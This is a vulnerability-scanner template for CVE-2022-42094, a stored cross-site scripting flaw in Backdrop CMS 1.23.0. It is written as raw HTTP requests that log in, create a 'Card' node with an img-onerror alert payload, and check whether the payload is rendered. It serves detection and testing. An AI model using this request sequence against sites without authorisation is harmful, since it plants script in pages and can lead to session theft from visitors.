Backdrop CMS version 1.23.0 - Stored Cross Site Scripting

id: CVE-2022-42094

info:
  name: Backdrop CMS version 1.23.0 - Stored Cross Site Scripting
  author: theamanrawat
  severity: medium
  description: |
    Backdrop CMS version 1.23.0 was discovered to contain a stored cross-site scripting (XSS) vulnerability via the 'Card' content.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to a patched version of Backdrop CMS or apply the necessary security patches provided by the vendor.
  reference:
    - https://github.com/backdrop/backdrop/releases/tag/1.23.0
    - https://github.com/bypazs/CVE-2022-42094
    - https://nvd.nist.gov/vuln/detail/CVE-2022-42094
    - https://backdropcms.org
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 4.8
    cve-id: CVE-2022-42094
    cwe-id: CWE-79
    epss-score: 0.0283
    epss-percentile: 0.86734
    cpe: cpe:2.3:a:backdropcms:backdrop:1.23.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 4
    vendor: backdropcms
    product: backdrop
    shodan-query: cpe:"cpe:2.3:a:backdropcms:backdrop"
  tags: cve,cve2022,xss,cms,backdrop,authenticated,intrusive,backdropcms,vuln

http:
  - raw:
      - |
        GET /?q=user/login HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /?q=user/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        name={{username}}&pass={{password}}&form_build_id={{form_id_1}}&form_id=user_login&op=Log+in
      - |
        GET /?q=node/add/card HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /?q=node/add/card HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryWEcZgRB4detkrGaY

        ------WebKitFormBoundaryWEcZgRB4detkrGaY
        Content-Disposition: form-data; name="title"

        {{randstr}}
        ------WebKitFormBoundaryWEcZgRB4detkrGaY
        Content-Disposition: form-data; name="files[field_image_und_0]"; filename=""
        Content-Type: application/octet-stream


        ------WebKitFormBoundaryWEcZgRB4detkrGaY
        Content-Disposition: form-data; name="field_image[und][0][fid]"

        0
        ------WebKitFormBoundaryWEcZgRB4detkrGaY
        Content-Disposition: form-data; name="field_image[und][0][display]"

        1
        ------WebKitFormBoundaryWEcZgRB4detkrGaY
        Content-Disposition: form-data; name="changed"


        ------WebKitFormBoundaryWEcZgRB4detkrGaY
        Content-Disposition: form-data; name="form_build_id"

        {{form_id_2}}
        ------WebKitFormBoundaryWEcZgRB4detkrGaY
        Content-Disposition: form-data; name="form_token"

        {{form_token}}
        ------WebKitFormBoundaryWEcZgRB4detkrGaY
        Content-Disposition: form-data; name="form_id"

        card_node_form
        ------WebKitFormBoundaryWEcZgRB4detkrGaY
        Content-Disposition: form-data; name="body[und][0][value]"

        <img src=x onerror=alert(document.domain)>

        ------WebKitFormBoundaryWEcZgRB4detkrGaY
        Content-Disposition: form-data; name="body[und][0][format]"

        full_html
        ------WebKitFormBoundaryWEcZgRB4detkrGaY
        Content-Disposition: form-data; name="status"

        1
        ------WebKitFormBoundaryWEcZgRB4detkrGaY
        Content-Disposition: form-data; name="name"

        {{name}}
        ------WebKitFormBoundaryWEcZgRB4detkrGaY
        Content-Disposition: form-data; name="date[date]"

        2023-04-13
        ------WebKitFormBoundaryWEcZgRB4detkrGaY
        Content-Disposition: form-data; name="date[time]"

        21:49:36
        ------WebKitFormBoundaryWEcZgRB4detkrGaY
        Content-Disposition: form-data; name="path[auto]"

        1
        ------WebKitFormBoundaryWEcZgRB4detkrGaY
        Content-Disposition: form-data; name="comment"

        1
        ------WebKitFormBoundaryWEcZgRB4detkrGaY
        Content-Disposition: form-data; name="additional_settings__active_tab"


        ------WebKitFormBoundaryWEcZgRB4detkrGaY
        Content-Disposition: form-data; name="op"

        Save
        ------WebKitFormBoundaryWEcZgRB4detkrGaY--

    host-redirects: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - <img src="x" onerror="alert(document.domain)" />
          - Backdrop CMS
        condition: and

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: form_id_1
        group: 1
        regex:
          - name="form_build_id" value="(.*)"
        internal: true

      - type: regex
        name: name
        group: 1
        regex:
          - name="name" value="(.*?)"
        internal: true

      - type: regex
        name: form_id_2
        group: 1
        regex:
          - name="form_build_id" value="(.*)"
        internal: true

      - type: regex
        name: form_token
        group: 1
        regex:
          - name="form_token" value="(.*)"
        internal: true